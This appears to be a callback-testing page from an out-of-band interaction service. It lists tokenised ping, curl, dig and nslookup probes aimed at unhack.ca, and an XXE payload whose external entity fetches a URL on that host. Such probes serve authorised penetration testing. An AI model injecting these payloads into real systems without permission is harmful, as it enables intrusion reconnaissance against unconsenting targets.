$ ping -c1 -p 001b29bc7a661d13eb2759a3527f6900 unhack.ca
 
$ curl http://unhack.ca/p/1b29bc7a661d13eb2759a3527f69
 
$ dig 1b29bc7a661d13eb2759a3527f69 @unhack.ca
 
$ dig 1b29bc7a661d13eb2759a3527f69.ns.unhack.ca
 
C:\> nslookup 1b29bc7a661d13eb2759a3527f69 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1b29bc7a661d13eb2759a3527f69">]>
    <foo>&xxe;</foo>
 
Waiting for ping...